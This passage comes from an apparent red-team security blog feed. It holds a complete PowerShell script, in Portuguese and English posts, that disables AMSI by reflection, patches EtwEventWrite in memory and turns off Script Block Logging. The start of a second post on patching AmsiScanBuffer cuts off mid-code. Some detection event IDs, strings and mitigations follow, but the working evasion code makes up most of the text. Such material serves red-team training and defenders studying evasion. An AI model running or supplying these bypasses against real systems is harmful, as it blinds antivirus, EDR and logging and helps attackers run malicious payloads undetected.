&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;Set-ItemProperty&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;Path &lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$key&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;Name &lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;EnableScriptBlockLogging&apos;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;Value &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;script-completo-amsi--etw-bypass&quot;&gt;Script Completo: AMSI + ETW Bypass&lt;/h2&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;powershell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#!/usr/bin/env pwsh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# amsi_etw_bypass.ps1 — AMSI + ETW neutralization&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Uso: . .\amsi_etw_bypass.ps1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; Invoke-AmsiBypass&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;    try&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;        $a&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Ref&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;].Assembly.GetType(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;            &apos;System.Management.Automation.&apos;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;Am&apos;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;siUtils&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;        )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;        $b&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt; $a.GetField&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;am&apos;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;siInit&apos;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;Failed&apos;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;NonPublic,Static&apos;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;        $b.SetValue&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;$null&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;$true&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;        Write-Host&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;[+] AMSI     : disabled&quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;ForegroundColor Green&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    } &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;        Write-Host&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;[-] AMSI bypass failed: $_&quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;ForegroundColor Red&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; Invoke-ETWBypass&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;    try&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;        $patch&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Byte&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;[]](&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;0xC3&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# ret&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;        $addr&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;  =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;System.Diagnostics.Eventing.EventProvider&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;].GetField(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;            &apos;m_etwCallback&apos;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;            &apos;NonPublic,Instance&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;        )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;        &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;        # P/Invoke para VirtualProtect + patch EtwEventWrite&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;        $ntdll&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;System.Runtime.InteropServices.Marshal&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;        $kernel32&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; Add-Type&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;MemberDefinition &lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;@&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;[DllImport(&quot;kernel32.dll&quot;)]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;public static extern bool VirtualProtect(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;    IntPtr lpAddress, UIntPtr dwSize,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;    uint flNewProtect, out uint lpflOldProtect);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;[DllImport(&quot;kernel32.dll&quot;)]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;public static extern IntPtr GetProcAddress(IntPtr h, string name);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;[DllImport(&quot;kernel32.dll&quot;)]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;public static extern IntPtr LoadLibrary(string name);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;@&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;Name &lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;K32&apos;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;PassThru&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;        $lib&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;  =&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt; $kernel32&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;::LoadLibrary(&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;ntdll.dll&quot;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;        $func&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt; $kernel32&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;::GetProcAddress(&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$lib&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;EtwEventWrite&quot;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;        $old&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;  =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;uint32&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;        $kernel32&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;::VirtualProtect(&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$func&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;UIntPtr&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;0x40&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;ref&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$old&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;) | &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;Out-Null&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;        [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;System.Runtime.InteropServices.Marshal&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]::WriteByte(&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$func&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;0xC3&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;        &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;        Write-Host&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;[+] ETW      : patched&quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;ForegroundColor Green&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    } &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;        Write-Host&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;[!] ETW bypass skipped: $_&quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;ForegroundColor Yellow&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;Invoke-AmsiBypass&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;Invoke-ETWBypass&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;Write-Host&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;[*] Session ready. OPSEC level: reduced.&quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;ForegroundColor Cyan&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;detecção-pelo-lado-do-defensor&quot;&gt;Detecção pelo Lado do Defensor&lt;/h2&gt;
&lt;p&gt;Se você é o Blue Team, monitore:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Event ID 4104&lt;/strong&gt; — Script Block Logging (PowerShell)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Event ID 4688&lt;/strong&gt; — Process creation com &lt;code&gt;powershell.exe -version 2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sysmon Event 10&lt;/strong&gt; — Process access a &lt;code&gt;amsi.dll&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Carregamento de &lt;code&gt;System.Management.Automation&lt;/code&gt; via Reflection&lt;/li&gt;
&lt;li&gt;Presença de strings como &lt;code&gt;AmsiScanBuffer&lt;/code&gt;, &lt;code&gt;amsiInitFailed&lt;/code&gt;, &lt;code&gt;VirtualProtect&lt;/code&gt; em logs&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;powershell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Blue Team: verificar se AMSI está ativo na sessão&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Ref&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;].Assembly.GetType(&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;System.Management.Automation.AmsiUtils&apos;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    .GetField(&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;amsiInitFailed&apos;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;NonPublic,Static&apos;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    .GetValue(&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;$null&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# $false = AMSI ativo | $true = AMSI comprometido&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;mitigações&quot;&gt;Mitigações&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Habilitar &lt;strong&gt;PowerShell Constrained Language Mode&lt;/strong&gt; via WDAC/AppLocker&lt;/li&gt;
&lt;li&gt;Desabilitar &lt;strong&gt;PowerShell 2.0&lt;/strong&gt; (&lt;code&gt;Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Habilitar &lt;strong&gt;Script Block Logging&lt;/strong&gt; e &lt;strong&gt;Module Logging&lt;/strong&gt; (GPO)&lt;/li&gt;
&lt;li&gt;Usar &lt;strong&gt;EDR com proteção de memória&lt;/strong&gt; (CrowdStrike, SentinelOne, Microsoft Defender for Endpoint)&lt;/li&gt;
&lt;li&gt;Monitorar &lt;strong&gt;ETW providers&lt;/strong&gt; para PowerShell: &lt;code&gt;Microsoft-Windows-PowerShell&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Implementar &lt;strong&gt;JEA (Just Enough Administration)&lt;/strong&gt; para restringir comandos disponíveis&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;referências&quot;&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal&quot;&gt;AMSI — Microsoft Docs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell&quot;&gt;S3cur3Th1sSh1t/Amsi-Bypass-Powershell&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;MITRE ATT&amp;#x26;CK: &lt;a href=&quot;https://attack.mitre.org/techniques/T1562/001/&quot;&gt;T1562.001 — Impair Defenses: Disable or Modify Tools&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>redteam@kbmsecurity.com.br</author><category>evasion</category><category>amsi</category><category>powershell</category><category>evasion</category><category>windows</category><category>av-bypass</category><category>reflection</category><category>patching</category><difficulty>hard</difficulty></item><item><title>AMSI Bypass — Disabling the Antimalware Scan Interface in PowerShell</title><link>https://www.kbmsecurity.com.br/blog/post/amsi-bypass-powershell-en/</link><guid isPermaLink="true">https://www.kbmsecurity.com.br/blog/post/amsi-bypass-powershell-en/</guid><description>Techniques to bypass AMSI (Antimalware Scan Interface) on Windows and execute PowerShell payloads undetected by AV/EDR solutions.</description><pubDate>Mon, 10 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;what-is-amsi&quot;&gt;What is AMSI?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;AMSI (Antimalware Scan Interface)&lt;/strong&gt; is a Windows API introduced in Windows 10 that allows applications to send content to antivirus solutions for &lt;strong&gt;real-time&lt;/strong&gt; scanning before execution.&lt;/p&gt;
&lt;p&gt;The flow works like this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;PowerShell receives a script or command&lt;/li&gt;
&lt;li&gt;Before executing, it calls &lt;code&gt;AmsiScanBuffer()&lt;/code&gt; or &lt;code&gt;AmsiScanString()&lt;/code&gt; via &lt;code&gt;amsi.dll&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The registered AV/EDR scans the content&lt;/li&gt;
&lt;li&gt;If malicious → blocked. If clean → execution proceeds&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;PowerShell → amsi.dll → AmsiScanBuffer() → AV Provider → Allow / Block&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Every PowerShell session loads &lt;code&gt;amsi.dll&lt;/code&gt; into the process. The goal of bypasses is to neutralize this DLL &lt;strong&gt;before&lt;/strong&gt; executing offensive payloads.&lt;/p&gt;
&lt;p&gt;&gt; &lt;strong&gt;WARNING:&lt;/strong&gt; These techniques are for use in authorized environments only (pentest, red team, lab). Unauthorized use is a crime.&lt;/p&gt;
&lt;h2 id=&quot;technique-1--amsiscanbuffer-patch-via-reflection&quot;&gt;Technique 1 — AmsiScanBuffer Patch via Reflection&lt;/h2&gt;
&lt;p&gt;The most classic technique: use .NET Reflection to locate and patch the &lt;code&gt;AmsiScanBuffer&lt;/code&gt; function in memory, making it always return &lt;code&gt;AMSI_RESULT_CLEAN&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;powershell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# AMSI Patch via Reflection — classic&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$Win32&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; @&amp;#x26;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;using System;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;using System.Runtime.InteropServices;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;public &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; Win32&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;DllImport&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&amp;#x26;quot;kernel32&amp;#x26;quot;)]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    public &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;static&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; extern IntPtr GetProcAddress(IntPtr hModule, string procName);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;DllImport&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&amp;#x26;quot;kernel32&amp;#x26;quot;)]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    public &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;static&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; extern IntPtr LoadLibrary(string name);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;DllImport&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&amp;#x26;quot;kernel32&amp;#x26;quot;)]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    public &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;static&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;/span&gt;&lt;/span&gt;
